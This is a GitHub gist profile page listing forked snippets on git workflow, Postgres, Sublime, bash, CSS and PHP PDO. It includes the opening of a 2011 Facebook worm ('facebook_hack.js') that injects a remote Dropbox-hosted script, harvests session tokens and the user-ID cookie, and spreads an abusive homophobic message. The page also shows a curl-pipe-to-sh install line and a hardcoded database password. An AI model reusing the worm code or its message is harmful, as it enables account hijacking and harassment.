Skip to content

Instantly share code, notes, and snippets.

View YamilG's full-sized avatar

Yamil Gonzales YamilG

View GitHub Profile

Para colaborar en un repositorio mediante el modelo fork+pull (se presupone que ya tenés instalado git )

  1. Hacer fork en github.com
  2. Te vas a tu fork
  3. En tu compu, ejecutás git clone git@github.com:YamilG/lfborjas.github.com.git
  4. Te creará una carpeta llamada lfborjas.github.com, hacés cd a ella y comenzás a hacer tus cambios
  5. Cuando querás ver qué has cambiado, hacés git status y para cambios específicos, git diff
  6. Cuando estés listo para hacer un snapshot de tus cambios, agregarlos al historial git, hacés un git commit -am "mensaje descriptivo", el switch -am es un atajo para agregar todos los archivos que git ya conocía; si agregás otros archivos, tendrás que hacer git add archivo.ext otroArchivo.ext antes de hacer un commit.
  7. Cuando terminés de hacer commits y estés listo para que integremos cambios, hacés un git push origin master y luego me mandás una [pull request](http://help.github.com/pull-reque
@YamilG
YamilG / facebook_hack.js
Created May 12, 2011 15:27 — forked from tysonmote/facebook_hack.js
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Cross-browser kerning-pairs & ligatures</title>
<style>
body { font-family: sans-serif; background: #f4f3f3; color: rgba(40, 30, 0, 1); width: 500px; margin: 80px auto; padding: 0px; }
a { color: rgba(15, 10, 0, 0.8); text-decoration: none; border-bottom: 1px solid; padding: 1px 1px 0px; -webkit-transition: background 1s ease; }
a:hover { background: rgba(0, 220, 220, 0.2); }
p, li { line-height: 1.5; padding: 0em 1em 0em 0em; margin: 0em 0em 0.5em; }
@YamilG
YamilG / hack.sh
Created March 31, 2012 19:08 — forked from erikh/hack.sh
OSX For Hackers
#!/usr/bin/env sh
##
# This is script with usefull tips taken from:
# https://github.com/mathiasbynens/dotfiles/blob/master/.osx
#
# install it:
# curl -sL https://raw.github.com/gist/2108403/hack.sh | sh
#
@YamilG
YamilG / gist:2691881
Created May 14, 2012 05:11 — forked from FernandoEscher/gist:2691561
Configuración de Postgresql para Rails
# Instalar postgresql
sudo apt-get install postgresql
# Entrar a la consola de postgresql
sudo -u postgres psql postgres
# Crear rol de ccepreb
create role ccepreb with createdb login password 'xzsawq';
# Verificar que se ha creado el rol ccpreb
@YamilG
YamilG / launch_sublime_from_terminal.markdown
Created July 3, 2012 02:05 — forked from artero/launch_sublime_from_terminal.markdown
Launch Sublime Text 2 from the Mac OS X Terminal

Launch Sublime Text 2 from the Mac OS X Terminal

Sublime Text 2 ships with a CLI called subl (why not "sublime", go figure). This utility is hidden in the following folder (assuming you installed Sublime in /Applications like normal folk. If this following line opens Sublime Text for you, then bingo, you're ready.

open /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl

You can find more (official) details about subl here: http://www.sublimetext.com/docs/2/osx_command_line.html

Installation

@YamilG
YamilG / new_bashrc.sh
Created August 11, 2012 07:39 — forked from josephwecker/new_bashrc.sh
Replace .bashrc, .bash_profile, .profile, etc. with something much more clean, consistent, and meaningful.
#!/bin/bash
# License: Public Domain.
# Author: Joseph Wecker, 2012
#
# Are you tired of trying to remember what .bashrc does vs .bash_profile vs .profile?
# Are you tired of trying to remember how darwin/mac-osx treat them differently from linux?
# Are you tired of not having your ~/.bash* stuff work the way you expect?
#
# Symlink all of the following to this file:
# * ~/.bashrc
@YamilG
YamilG / gist:3381972
Created August 17, 2012 19:46 — forked from acconrad/gist:3350416
How to target mobile devices with CSS Media Queries
@media only screen and (-webkit-device-pixel-ratio: .75) {
/* CSS for Low-density screens goes here *
* Ex: HTC Evo, HTC Incredible, Nexus One */
}
@media only screen and (-webkit-device-pixel-ratio: 1) and (max-device-width: 768px) {
/* CSS for Medium-density screens goes here *
* Ex: Samsung Ace, Kindle Fire, Macbook Pro *
* max-device-width added so you don't target laptops and desktops */
}
@YamilG
YamilG / gist:3381973
Created August 17, 2012 19:46 — forked from acconrad/gist:3350298
How to target mobile devices with CSS Media Queries
@media (max-width: 480px) {
/* Mobile CSS goes here */
}
<?php
$db = new PDO('mysql:host=hostname;dbname=defaultDbName',
'username', 'password',
array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8"));
$query = 'SELECT * FROM my_table WHERE title = :title';
$stmt = $db->prepare($query);
$stmt->bindValue(':title', $myTitle);
$stmt->execute();